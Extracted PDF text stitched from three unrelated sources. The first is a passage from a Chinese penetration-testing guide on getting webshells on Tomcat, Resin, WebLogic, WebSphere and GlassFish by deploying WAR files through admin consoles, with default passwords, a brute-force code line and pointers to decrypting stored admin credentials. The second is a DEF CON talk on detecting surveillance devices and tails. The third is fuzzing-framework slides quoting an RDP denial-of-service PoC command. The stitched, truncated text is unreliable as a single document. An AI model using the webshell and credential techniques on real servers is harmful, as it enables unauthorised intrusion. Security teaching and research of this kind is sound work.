Server,一般只要简单的选择下 Server 的目录 就行了。 部署完成后启动进入各个 Server 的后台: 第 164 页 第 165 页 1.2 构建 WebShell war 文件 1、打开 Myeclipse 新建 Web 项目 2、把 jsp 放到 WebRoot 目录下 3、导出项目为 war 文件 第 166 页 2、 Tomcat Tomcat 服务器是一个免费的开放源代码的 Web 应用服务器,属于轻量级应用服务器, 在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试 JSP 程序的首 选。 2.1 Tomcat 版本 Tomcat 主流版本:5-6-7,最新版 Tomcat8 刚发布不久。Tomcat5 较之 6-7 在文件结构上 有细微的差异,6-7-8 没有大的差异。最新版的 Tomcat8 主要新增了:Servlet 3.1, JSP 2.3, EL 3.0 and Web Socket 1.0 支持。 版本详情说明:http://tomcat.apache.org/whichversion.html 结构目录: Tomcat5: Bin、common、conf、LICENSE、logs、NOTICE、RELEASE-NOTES、RUNNING.txt、Server、shared、 Temp、webapps、work Tomcat6-8: Bin、conf、lib、LICENSE、logs、NOTICE、RELEASE-NOTES、RUNNING.txt、temp、webapps、 work 关注 conf 和 webapps 目录即可。conf 目录与非常重要的 tomcat 配置文件比如登录帐号 所在的 tomcat-users.xml;域名绑定目录、端口、数据源(部分情况)、SSL 所在的 server.xml; 数据源配置所在的 context.xml 文件,以及容器初始化调用的 web.xml。 源码下载: Tomcat6:http://svn.apache.org/repos/asf/tomcat/tc6.0.x/tags/TOMCAT_6_0_18/ Tomcat7:http://svn.apache.org/repos/asf/tomcat/tc7.0.x/trunk/ 2.2 Tomcat 默认配置 1、tomcat-users.xml Tomcat5 默认配置了两个角色:tomcat、role1。其中帐号为 both、tomcat、role1 的默认 密码都是 tomcat。不过都不具备直接部署应用的权限,默认需要有 manager 权限才能够直 接部署 war 包,Tomcat5 默认需要安装 Administration Web Application。Tomcat6 默认没有配 置任何用户以及角色,没办法用默认帐号登录。 配置详解:http://tomcat.apache.org/tomcat-7.0-doc/manager-howto.html#Introduction 第 167 页 2、context.xml Tomcat 的上下文,一般情况下如果用 Tomcat 的自身的数据源多在这里配置。找到数据 源即可用对应的帐号密码去连接数据库。 <Context> <WatchedResource>WEB-INF/web.xml</WatchedResource> <Resource name="jdbc/u3" auth="Container" type="javax.sql.DataSource" maxActive="100" maxIdle="30" maxWait="10000" username="xxxxx" password="xxxx" driverClassName="com.mysql.jdbc.Driver" url="jdbc:mysql://192.168.0.xxx:3306/xxx?autoReconnect=true"/> </Context> 3、 server.xml Server 这个配置文件价值非常高,通常的访问端口、域名绑定和数据源可以在这里找到, 如果想知道找到域名对应的目录可以读取这个配置文件。如果有用 Https,其配置也在这里 面能够找到。 4、 web.xml web.xml 之前讲 MVC 的时候有提到过,项目初始化的时候会去调用这个配置文件这个 文件一般很少有人动但是不要忽略其重要性,修改 web.xml 可以做某些 YD+BT 的事情。 2.3 Tomcat 获取 WebShell Tomcat 后台部署 war 获取 WebShell 登录 tomcat 后台:http://xxx.com/manager/html,一般用 WAR file to deploy 就行了, Deploy directory or WAR file located on server 这种很少用。 1> Deploy directory or WAR file located on server Web 应用的 URL 入口、XML 配置文件对应路径、WAR 文件或者该 Web 应用相对于 /webapps 目录的文件路径,然后单击 按钮,即可发布该 Web 应用,发布后在 Application 列表中即可看到该 Web 应用的信息。这种方式只能发布位于/webapps 目录下的 Web 应用。 2>WAR file to deploy 选择需要发布的 WAR 文件,然后单击 Deploy,即可发布该 Web 应用,发布后在 Application 列表中即可看到该 Web 应用的信息。这种方式可以发布位于任意目录下的 Web 应用。 第 168 页 其中,第二种方式实际上是把需要发布的 WAR 文件自动复制到/webapps 目录下,所 以上述两种方式发布的 Web 应用都可以通过在浏览器地址栏中输入 http://localhost:8080/Web 进行访问。 Tips: 当访问 xxxx.com 找不到默认管理地址怎么办? 1: http://xxxx.com/manager/html 查看是否存在 2:ping xxxx.com 获取其 IP 地址,在访问:http://111.111.111.111/manager/html 3:遍历 server.xml 配置读取配置 2.4 Tomcat 口令爆破 Tomcat 登录比较容易爆破,但是之前说过默认不对其做任何配置的时候爆破是无效的。 Tomcat的认证比较弱,Base64(用户名:密码)编码,请求:” /manager/html/”如果响应码不是 401(未经授权:访问由于凭据无效被拒绝。)即登录成功。 conn.setRequestProperty("Authorization", "Basic " + new BASE64Encoder().encode((user + ":" + pass).getBytes())); 2.5 Tomcat 漏洞 Tomcat5-6-7 安全性并不完美,总是被挖出各种稀奇古怪的安全漏洞。在 CVE 和 Tomcat 官网也有相应的漏洞信息详情。 怎样找到 Tomcat 的历史版本: http://archive.apache.org/dist/tomcat/ 第 169 页 Tomcat 历史版本漏洞? Tomcat 官网安全漏洞公布: Apache Tomcat - Apache Tomcat 5 漏洞: http://tomcat.apache.org/security-5.html Apache Tomcat - Apache Tomcat 6 漏洞: http://tomcat.apache.org/security-6.html Apache Tomcat - Apache Tomcat7 漏洞: http://tomcat.apache.org/security-7.html CVE 通用漏洞与披露: http://cve.scap.org.cn/cve_list.php?keyword=tomcat&action=search&p=1 Cvedetails : http://www.cvedetails.com/product/887/Apache-Tomcat.html?vendor_id=45 http://www.cvedetails.com/vulnerability-list/vendor_id-45/product_id-887/Apache-Tomca t.html Sebug: http://sebug.net/appdir/Apache+Tomcat 怎样发现 Tomcat 有那些漏洞? 1、通过默认的报错页面(404、500 等)可以获取到 Tomcat 的具体版本,对照 Tomcat 漏洞。 2、利用 WVS 之类的扫描工具可以自动探测出对应的版本及漏洞。 怎样快速确定是不是 Tomcat? 请求响应为:Server:Apache-Coyote/1.1 就是 tomcat 了。 Tomcat 稀奇古怪的漏洞: Tomcat 的安全问题被爆过非常多,漏洞统计图: 有一些有意思的漏洞,比如:Insecure default password CVE-2009-3548(影响版本: 6.0.0-6.0.20) The Windows installer defaults to a blank password for the administrative user. If this is not 第 170 页 changed during the install process, then by default a user is created with the name admin, roles admin and manager and a blank password.在 windows 安装版 admin 默认空密码漏洞,其实是 用户安装可能偷懒,没有设置密码…. 这样的问题在 tar.gz 和 zip 包里面根本就不会存在。有些漏洞看似来势汹汹其实鸡肋得不行 如:Unexpected file deletion in work directory CVE-2009-2902 都已经有 deploy 权限了,闹 个啥。 Tomcat 非常严重的漏洞(打开 Tomcat security-5、6、7.html 找): Important: Session fixation CVE-2013-2067 (6.0.21-6.0.36) Important: Denial of service CVE-2012-3544 (6.0.0-6.0.36) Important: Denial of service CVE-2012-2733 (6.0.0-6.0.35) Important: Bypass of security constraints CVE-2012-3546 (6.0.0-6.0.35) Important: Bypass of CSRF prevention filter CVE-2012-4431 (6.0.30-6.0.35) Important: Denial of service CVE-2012-4534 (6.0.0-6.0.35) Important: Information disclosure CVE-2011-3375 (6.0.30-6.0.33) Important: Authentication bypass and information disclosure CVE-2011-3190 (6.0.0-6.0.33) (………………………………………………….) Important: Directory traversal CVE-2008-2938 (6.0.18) Important: Directory traversal CVE-2007-0450 (6.0.0-6.0.9) 如果英文亚历山大的同学,对应的漏洞信息一般都能够在中文的 sebug 找到。 Sebug: 第 171 页 CVE 通用漏洞与披露: 第 172 页 3、Resin Resin 是 CAUCHO 公司的产品,是一个非常流行的 application server,对 servlet 和 JSP 提供了良好的支持,性能也比较优良,resin 自身采用 JAVA 语言开发。 Resin 比较有趣的是默认支持 PHP! Resin 默认通过 Quercus 动态的去解析 PHP 文件请 求。(Resin3 也支持,详情:http://zone.wooyun.org/content/2467) 3.1 Resin 版本 Resin 主流的版本是 Resin3 和 Resin4,在文件结构上并没有多大的变化。Resin 的速度和 效率非常高,但是不知怎么 Resin 似乎对 Quercus 更新特别多。 4.0.x 版本更新详情:http://www.caucho.com/resin-4.0/changes/changes.xtp 3.1.x 版本更新详情:http://www.caucho.com/resin-3.1/changes/changes.xtp 3.2 Resin 默认配置 1、resin.conf 和 resin.xml Tomcat 和Rsin 的核心配置文件都在conf 目录下,Resin3.1.x 默认是resin.conf 而4.0.x 默认是resin.xml。resin.conf/resin.xml是Resin 最主要配置文件,类似Tomcat 的server.xml。 1>数据源: 第一节的时候有谈到 resin 数据源就是位于这个文件,搜索 database(位于 server 标 签内)即可定位到具体的配置信息。 2>域名绑定 搜索 host 即可定位到具体的域名配置,其中的 root-directory 是域名绑定的对应路径。 很容易就能够找到域名绑定的目录了。 <host id="javaweb.org" root-directory="."> <host-alias-regexp>^([^/]*).javaweb.org</host-alias-regexp> <web-app id="/" root-directory="D:/web/xxxx/xxxx"/> </host> 3.3 Resin 默认安全策略 1>管理后台访问权限 Resin 比较 BT 的是默认仅允许本机访问管理后台,这是因为在 resin.conf 当中默认配置 禁止了外部 IP 请求后台。<resin:set var="resin_admin_external" value="false"/>修改为 true 外 部才能够访问。 第 173 页 2>Resin 后台管理密码 Resin 的管理员密码需要手动配置,在 resin.conf/resin.xml 当中搜索 management。即可 找到不过需要注意的是 Resin 的密码默认是加密的,密文是在登录页自行生成。比如 admin 加密后的密文大概会是:yCGkvrQHY7K8qtlHsgJ6zg== 看起来仅是 base64 编码不过不只是 admin 默认的 Base64 编码是:YWRtaW4= Resin,翻了半天 Resin 终于在文档里面找到了: http://www.caucho.com/resin-3.1/doc/resin-security.xtp 虽说是MD5+Base64加密但是怎么看都有点不对,下载Resin源码找到加密算法: package com.caucho.server.security.PasswordDigest 第 174 页 第 175 页 这加密已经没法反解了,所以就算找到 Resin 的密码配置文件应该也没法破解登录密码。 事实上 Resin3 的管理后台并没有其他 Server(相对 JBOSS 和 Weblogic)那么丰富。而 Resin4 的管理后台看上去更加有趣。 Resin4 的加密方式和 Resin3 还不一样改成了 SSHA: admin_user : admin admin_password : {SSHA}XwNZqf8vxNt5BJKIGyKT6WMBGxV5OeIi 详情:http://www.caucho.com/resin-4.0/admin/security.xtp Resin3: Resin4: 第 176 页 3.4 Resin 获取 WebShell As of Resin 4.0.0, it is now possible to deploy web applications remotely to a shared repository that is distributed across the cluster. This feature allows you to deploy once to any triad server and have the application be updated automatically across the entire cluster. When a new dynamic server joins the cluster, the triad will populate it with these applications as well. Web Deploy war 文件大概是从 4.0.0 开始支持的,不过想要在 Web deploy 一个应用也不 是一件简单的事情,首先得先进入后台。然后还得以 Https 方式访问。不过命令行下部署就 没那没法麻烦。Resin3 得手动配置 web-app-deploy。 最简单的但又不爽办法就是想办法把 war 文件上传到 resin-pro-3.1.13\webapps 目录下,会自动部署(就算 Resin 已启动也会自动 部署,不影响已部署的应用)。 Resin3 部署详情:http://www.caucho.com/resin-3.1/doc/webapp-deploy.xtp Resin4 部署 War 文件详情:http://www.caucho.com/resin-4.0/admin/deploy.xtp Resin4 进入后台后选择 Deploy,不过还得用 SSL 方式请求。Resin 要走一个”非加密通道”。 To deploy an application remotely: 1. log into the resin-admin console on any triad server. Make sure you are connecting over SSL, as this feature is not available over a non-encrypted channel. 第 177 页 2. Browse to the "webapp" tab of the resin-admin server and at the bottom of the page, enter the virtual host, URL, and local .war file specifying the web application, then press "Deploy". 3. The application should now be deployed on the server. In a few moments, all the servers in the cluster will have the webapp. Resin4 敢 不 敢 再 没 节 操 点 ? 默 认 HTTPS 是 没 有 开 的 。 需 要 手 动 去 打 开 : \conf\resin.properties # https : 8443 默认 8443 端口是关闭的,取消这一行的注释才能够使用 HTTPS 方式访问后台才能够 Web Deploy war。 第 178 页 部署成功访问: http://localhost:8080/GetShell/Customize.jsp 即可获取 WebShell。 3.5 Resin 漏洞 Resin 相对 Tomcat 的安全问题来说少了很多,Cvedetails 上的 Resin 的漏洞统计图: Cvedetails 统计详情: http://www.cvedetails.com/product/993/Caucho-Technology-Resin.html?vendor_id=576 Cvedetails 漏洞详情: http://www.cvedetails.com/vulnerability-list/vendor_id-576/product_id-993/Caucho-Technology- Resin.html 第 179 页 CVE 通用漏洞与披露: http://cve.scap.org.cn/cve_list.php?keyword=resin&action=search&p=1 Resin3.1.3: Fixed BugList: http://bugs.caucho.com/changelog_page.php 4、Weblogic WebLogic 是美国 bea 公司出品的一个 application server 确切的说是一个基于 Javaee 架 构的中间件,BEA WebLogic 是用于开发、集成、部署和管理大型分布式 Web 应用、网络应 用和数据库应用的 Java 应用服务器。将 Java 的动态功能和 Java Enterprise 标准的安全性引入 大型网络应用的开发、集成、部署和管理之中。 4.1 Weblogic 版本 Oracle 简直就是企业应用软件终结者,收购了 Sun 那个土鳖、Mysql、BAE Weblogic 等。 BAE 在 2008 初被收购后把 BAE 终结在 Weblogic 10。明显的差异应该是从 10.x 开始到最新的 12c。这里主要以 Weblogic9.2 和最新的 Weblogic 12c 为例。 4.2 Weblogic 默认配置 Weblogic 默 认 端 口 是 7001 , Weblogic10g-12c 默 认 的 管 理 后 台 是 : http://localhost:7001/console Weblogic10 以 下 默 认 后 台 地 址 是 : http://192.168.80.1:7001/console/login/LoginForm.jsp ,管理帐号是在建立 Weblogic 域的时 候设置的。 第 180 页 Weblogic 控制台: 第 181 页 Weblogic10 以下默认管理帐号:weblogic 密码:weblogic。关于 Weblogic10++的故事还得 从建域开始,默认安装完 Weblogic 后需要建立一个域。 WebLogic 中的"域"? 域环境下可以多个 WebLogic Server 或者 WebLogic Server 群集。域是由单个管理服务器 管理的 WebLogic Server 实例的集合。 Weblogic10++域默认是安装完成后由用户创建。帐号 密码也在创建域的时候设置,所以这里并不存在默认密码。当一个域创建完成后配置文件和 Web 应用在:Weblogic12\user_projects\domains\”域名”。 第 182 页 4.3 Weblogic 默认安全策略 1、Weblogic 默认密码文件: Weblogic 9 采用的 3DES(三重数据加密算法)加密方式,Weblogic 9 默认的管理密码配 置文件位于: weblogic_9\weblogic92\samples\domains\wl_server\servers\examplesServer\security\boot.pro perties boot.properties: # Generated by Configuration Wizard on Sun Sep 08 15:43:13 GMT 2013 username={3DES}fy709SQ4pCHAFk+lIxiWfw== password={3DES}fy709SQ4pCHAFk+lIxiWfw== Weblogic 12c 采用了 AES 对称加密方式,但是 AES 的 key 并不在这文件里面。默认的管 理密码文件存放于: Weblogic12\user_projects\domains\base_domain\servers\AdminServer\security\ boot.properties (base_domain 是默认的”域名”)。 boot.properties: # Generated by Configuration Wizard on Tue Jul 23 00:07:09 CST 2013 username={AES}PsGXATVgbLsBrCA8hbaKjjA91yNDCK78Z84fGA/pTJE= password={AES}Z44CPAl39VlytFk1I5HUCEFyFZ1LlmwqAePuJCwrwjI= 怎样解密 Weblogic 密码? Weblogic 12c: Weblogic12\user_projects\domains\base_domain\security\SerializedSystemIni.dat Weblogic 9: weblogic_9\weblogic92\samples\domains\wl_server\security\SerializedSystemIni.dat 解密详情: http://drops.wooyun.org/tips/349 、 http://www.blogjava.net/midea0978/archive/2006/09/07/68223.html 2、Weblogic 数据源(JNDI) Weblogic 如果有配置数据源,那么默认数据源配置文件应该在: Weblogic12\user_projects\domains\base_domain\config\config.xml 第 183 页 第 184 页 4.3 Weblogic 获取 Webshell Weblogic 9 GetShell: http://drops.wooyun.org/tips/402 5、Websphere WebSphere 是 IBM 的软件平台。它包含了编写、运行和监视全天候的工业强度的随需 应变 Web 应用程序和跨平台、跨产品解决方案所需要的整个中间件基础设施,如服务器、 服务和工具。 第 185 页 5.1 Websphere 版本 Websphere 现在主流的版本是 6-7-8,老版本的 5.x 部分老项目还在用。GetShell 大致差 不多。6、7 测试都有“默认用户标识 admin 登录”,Websphere 安装非常麻烦,所以没有像 之前测试 Resin、Tomcat 那么细测。 5.2 Websphere 默认配置 默认的管理后台地址(注意是 HTTPS): https://localhost:9043/ibm/console/logon.jsp 默认管理密码: 1、admin (测试 websphere6-7 默认可以直接用 admin 作为用户标识登录,无需密码) 2、websphere/ websphere 3、system/ manager 默认端口: 管理控制台端口 9060 管理控制台安全端口 9043 HTTP 传输端口 9080 HTTPS 传输端口 9443 引导程序端口 2809 SIP 端口 5060 SIP 安全端口 5061 SOAP 连接器端口 8880 SAS SSL ServerAuth 端口 9401 CSIV2 ServerAuth 侦听器端口 9403 CSIV2 MultiAuth 侦听器端口 9402 ORB 侦听器端口 9100 高可用性管理通讯端口(DCS) 9353 服务集成端口 7276 服务集成安全端口 7286 服务集成器 MQ 互操作性端口 5558 服务集成器 MQ 互操作性安全端口 5578 8.5 安装的时候创建密码: 第 186 页 Websphere8.5 启动信息: Websphere8.5 登录页面: https://localhost:9043/ibm/console/logon.jsp 第 187 页 Websphere8.5 WEB 控制台: Websphere6-7 默认控制台地址也是: http://localhost:9043/ibm/console,此处用 admin 登录即可。 第 188 页 5.3 Websphere GetShell 本地只安装了 8.5 测试,Websphere 安装的确非常坑非常麻烦。不过 Google HACK 到了 其余两个版本 Websphere6 和 Websphere7。测试发现 Websphere GetShell 一样很简单,只是 比较麻烦,一般情况直接默认配置 Next 就行了。Websphere7 和 Websphere8 GetShell 基本 一模一样。 Websphere6 GetShell: 需要注意的是Websphere6默认支持的 Web应用是2.3(web.xml配置的web-app_2_3.dtd) 直接上 2.5 是不行的,请勿霸王硬上弓。其次是在完成部署后记得保存啊亲,不然无法生效。 第 189 页 Websphere8.5 GetShell: 部署的时候记得写上下文名称哦,不让无法请求到 Shell。 第 190 页 注意: 如果在 Deploy 低版本的 Websphere 的时候可能会提示 web.xml 错误,这里其实是因为 支持的 JavaEE 版本限制,把 war 包里面的 web.xml 改成低版本就行了,如把 app2.5 改成 2.3。 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN" "http://java.sun.com/dtd/web-app_2_3.dtd"> <web-app> <welcome-file-list> <welcome-file>index.jsp</welcome-file> </welcome-file-list> </web-app> 6、GlassFish GlassFish 是 SUN 的产品,但是作为一只优秀的土鳖 SUN 已经被 Oracle 收购了,GlassFish 的性能优越对 JavaEE 的支持自然最好,最新的 Servlet3.1 仅 GlassFish 支持。 第 191 页 6.1 GlassFish 版本 GlassFish 版本比较低调,最高版本 GlassFish4 可在官网下载: http://glassfish.java.net/ 。 最新 4.x 版刚发布不久。所以主流版本应当还是 v2-3,3 应该更多。支持 php(v3 基于 Quercus),jRuby on Rails 和 Phobos 等多种语言。 6.2 GlassFish 默认配置 默认 Web 控制后台: http://localhost:4848 默认管理密码: GlassFish2 默认帐号 admin 密码 adminadmin 。 GlassFish3、4 如果管理员不设置帐号本地会自动登录,但是远程访问会提示配置错误。 Configuration Error Secure Admin must be enabled to access the DAS remotely. 默认端口: 使用 Admin 的端口 4848。 使用 HTTP Instance 的端口 8080。 使用 JMS 的端口 7676。 使用 IIOP 的端口 3700。 使用 HTTP_SSL 的端口 8181。 使用 IIOP_SSL 的端口 3820。 使用 IIOP_MUTUALAUTH 的端口 3920。 使用 JMX_ADMIN 的端口 8686。 使用 OSGI_SHELL 的默认端口 6666。 使用 JAVA_DEBUGGER 的默认端口 9009。 默认数据源: 第 192 页 6.3 GlassFish GetShell
pdf
Am I Being Spied On? Low-tech Ways Of Detecting High-tech Surveillance Dr. Phil @ppolstra http://philpolstra.com What this talk is about ● Determining if you are a victim of spying – Video surveillance – Tailing – Audio eavesdropping – Devices embedded in your computer, tablet, or smart phone Why you should care ● Government assault on Constitution is well known ● Local governments ● Competitors ● Stalkers ● People who just don't like you Video surveillance Common flaw all night vision cameras share Detecting this flaw with any digital camera Other Ways to Detect IR Detecting wireless cameras Free way: Android tablet or smartphone Inexpensive way: BeagleBone based system Moderately expensive way: Detecting signals in licensed bands ● Use an Linear Technologies LTC5582 RMS RF power detector ● Measure LTC5582 output on volt meter or BeagleBone or ?? ● Bandpass filters can be used to look at individual frequency bands Moderately Expensive Way Moderately Expensive Way Physical surveillance ● Tailing – Common vehicles used – Standard techniques ● Stakeout – Common vehicles used – Standard techniques Tailing Vehicles ● Non-government spies choose vehicles to blend in – Probably not the red Ferrari behind you – Likely vehicles ● Bland colored Honda or Toyota sedan ● Bland colored SUV ● Whatever is commonly seen in the area ● Government spies drive vehicles issued to them – Black SUV – Crown Victoria General Tailing Techniques ● Follow distance varies from about 2 cars behind to a block ● Bumper beeper may be used to extend follow distance to 0.5 – 10.0 miles ● Tail is generally considered blown if subject has 3 suspicious impressions Single Car Tailing ● Generally will be closer than multi-car tails ● More likely to follow traffic laws ● May use a bumper beeper to help relocate the subject if lost Multi-car Tailing ● In most cases everyone is behind the subject ● Some cars may be on parallel streets – More likely in urban areas ● Tailing vehicles may change relative positions ● Vehicles might occasionally appear to go a different direction only to rejoin later Combating Tailing ● Look! – Check around your car for trackers – Watch for vehicles who seem to be behind you for long distances – Watch for vehicles that go away and then come back Combating Tailing (contd) ● Detect electronic devices – Use the previously describe RF detection system without any filters – Scan the AM radio band on your car radio before you go ● Many homemade or privately available trackers operate in this frequency band ● If you hear nothing but a strong tone it is probably a tracker on your car! Combating Tailing (contd) ● Active techniques – Drag a few traffic lights – Take unusual routes – Drive through residential neighborhoods – Take a few alleys or deserted side streets – Occasionally park for no reason Stakeout Vehicles ● Same vehicles used in tailing may be used ● Additional vehicles might be used – SUV – Commercial vans – Pickup trucks with toppers Combating Stationary Surveillance ● Look! – People in parked vehicles – Construction/utility workers who are around too long or appear to be doing nothing – Commercial vans parked for extended periods – Anyone with view of all your exits Combating Stationary Surveillance (contd) ● Active techniques – Get out your binoculars and spy back – Run outside and jump in your car ● Run back inside and see if anyone seems to notice ● Drive around the block and see if anyone followed you Audio bugging Detecting active bugs ● Free way: analog AM/FM radio might detect some bugs ● Inexpensive way: USB TV Tuner Software Defined Radio (SDR) – Can detect signals in 50 MHz 2 GHz – Commercial bug detectors are usually 10 MHz 8 GHz ● Moderately expensive way: Broadband amplifier connected to TV antenna ● Expensive way: Drop $500 on a commercial detector Detecting bugs with a radio ● Must be analog ● Scan through the AM/FM bands to see if you can hear the audio you are generating ● Works with only the simplest bugs Detecting passive bugs ● Must try to excite bug with RF in correct band ● If you are close enough and the signal is strong can still work with wrong frequency ● Detection is same as active bugs Exciting the bug ● Free way: Blast it with 2.4 GHz from your Alfa ● Inexpensive way: Noisy broadband transmitter attached to TV antenna Bugs in your computing devices ● Bugs can be installed by – intercepting shipments – "service" professionals – spies in your local IT staff – pissed off guy in your office Detecting bugs ● Free way: Look! – Bugging devices can be installed externally – I described a small dropbox easily hidden behind a computer at DC21 – Same dropbox is easily hidden in other items on your desk ● Example: Dalek desktop defender ● Example: TARDIS ● Check every device connected to your computer especially USB and network Hiding Places Bugs may be internal ● Open the case and look for obvious signs ● Pictures of NSA devices have been leaked ● Inexpensive way: Current leaks – Bugs need current to run – Turned off devices shouldn't draw any power A modified universal laptop power supply can be used to detect this current leakage ● Modify the power supply to detect current ● For laptop or phone remove the battery and measure current with device "off" – Current flow indicates possible bug ● For tablet fully charge the battery – Measure the current flow – Small current might indicate issue with charging circuit or battery – If the current peaks when you speak or move in view of the camera there may be a bug Laptop Adapter For a desktop computer ● Physical inspection is best – Can attempt to detect leakage current with Kill o Watt or similar ● Many computer power supplies leak current so this is not conclusive ● Desktop bug might only work when computer is on Passive bugs ● Excite as described for passive audio bugs ● Use same techniques as described above to detect excited bug ● Won't detect all passive bugs (such as the expensive NSA bugs) Summary ● Chose your level of paranoia ● Even if you aren't paranoid you can still detect many spying activities at no cost ● Truly paranoid can still test without financial ruin References ● Hacking and Penetration Testing with Low Power Devices by Philip Polstra (Syngress, 2014) ● Jacob Applebaum talk on NSA spy device catalog Questions? ● Come see me after ● @ppolstra on Twitter ● Http://philpolstra.com or http://polstra.org ● More info on BeagleBone drones
pdf
Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion Meddle: Framework for piggy-back fuzzing and tool development Geo↵ McDonald glmcdona@gmail.com, unaffiliated presentation August 8, 2014 DEF CON 22 Geo↵ McDonald glmcdona@gmail.com, unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion 1. Background About Me Fuzzing File Format Fuzzing Protocol Fuzzing 2. Meddle Framework Introduction Meddle Target Meddle Process Meddle Controller 3. XRDP Fuzzing XRDP Server 4. DeviceIoControl DeviceIoControl Demo 5. Sandbox Malware Sandbox Demo 6. Conclusion Geo↵ McDonald glmcdona@gmail.com, unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion About Me About Me Vancouver, Canada Game hacking (Ultima Online MMORPG) Reverse-engineering tool development Previously Symantec Currently at Microsoft Personal website http://www.split-code.com/ Geo↵ McDonald glmcdona@gmail.com, unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion Fuzzing Types of Fuzzing File Format Fuzzing PDF, Microsoft Word, or TrueType fonts Protocol Fuzzing RDP, VNC, SSL, or Voip Application Fuzzing COM objects, API calls, or inter-process communication Web Application Fuzzing Joomla, WordPress, or any website Geo↵ McDonald glmcdona@gmail.com, unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion Fuzzing Fuzzing Tools SPIKE from Immunity [1] Network protocols and web applications Basic Fuzzing Framework (BFF) from CERT [2] File format SAGE from Microsoft [3] Input fuzzing AutoFuzz [4] Network protocols by MITM COMRaider [5] COM interface fuzzing IOCtrlFuzzer from eSage Lab [6] NtDeviceIoControlFile driver input fuzzing Geo↵ McDonald glmcdona@gmail.com, unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion Fuzzing Fuzzing Algorithms Basic algorithms: Naive protocol fuzzing (eg. IOCtrlFuzzer [6]) Protocol aware fuzzing (eg. SPIKE [1]) Advanced algorithms: Protocol-learning before fuzzing (eg. Autofuzz [4]) Feedback-driven fuzzing (eg. Sage [3]) Code coverage fuzzing (eg. Google’s Flash fuzzing [7]) Geo↵ McDonald glmcdona@gmail.com, unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion File Format Fuzzing File Format Fuzzing: TrueType Geo↵ McDonald glmcdona@gmail.com, unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion Protocol Fuzzing Protocol Fuzzing: RDP by Network MITM Geo↵ McDonald glmcdona@gmail.com, unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion Protocol Fuzzing Protocol Fuzzing: RDP by Client Implementation Geo↵ McDonald glmcdona@gmail.com, unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion Protocol Fuzzing Protocol Fuzzing: RDP by File Fuzzing Luigi Auriemma’s CVE-2012-0002 POC nc SERVER 3389 < termdd 1.dat RDP server use after free Geo↵ McDonald glmcdona@gmail.com, unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion Protocol Fuzzing Application Fuzzing: API Fuzzing Example instruder’s CVE-2012-0181 related POC win32k.sys NtUserLoadKeyboardLayoutEx( hFile, 0x0160,0x01AE,&uKerbordname, hKbd, &uStr, 0x666, 0x101 ) Geo↵ McDonald glmcdona@gmail.com, unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion Introduction Meddle: About Meddle: Open source, https://github.com/glmcdona/meddle IronPython for the environment Framework written in C# Command-line based Supports x86, WOW64, and x64 processes Windows only, sorry :( Geo↵ McDonald glmcdona@gmail.com, unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion Introduction Meddle: Goals Goals: Bring simplicity to fuzzing Python for the fuzzing environment Extendibility Reproducibility For Simplicity: Piggy-back on existing application Geo↵ McDonald glmcdona@gmail.com, unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion Introduction Meddle: Structure Geo↵ McDonald glmcdona@gmail.com, unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion Introduction Meddle: Structure Equal amount of time on each event type Geo↵ McDonald glmcdona@gmail.com, unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion Meddle Target Target Geo↵ McDonald glmcdona@gmail.com, unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion Meddle Target Target class Target_Winsock_Send(TargetBase): def __init__(self, Engine, ProcessBase): # Set options and hook filters def breakpoint_hit(self, event_name, address, context, th): # Parse arguments and return fuzz blocks for each event Geo↵ McDonald glmcdona@gmail.com, unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion Meddle Target Target init def __init__(self, Engine, ProcessBase): self.Engine = Engine self.ProcessBase = ProcessBase self.hook_exports = True # Hook matching exports self.hook_symbols = False # Don’t hook matching symbols # Libraries to look at self.libraries = ["ws2_32.dll"] self.libraries_regex = re.compile("a^",re.IGNORECASE) # List of function names to add hooks on. self.functions = ["send"] self.functions_regex = re.compile("a^",re.IGNORECASE) Geo↵ McDonald glmcdona@gmail.com, unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion Meddle Target Target breakpoint hit def breakpoint_hit(self, event_name, address, context, th): parameters = [ ... parameter spec ... ] 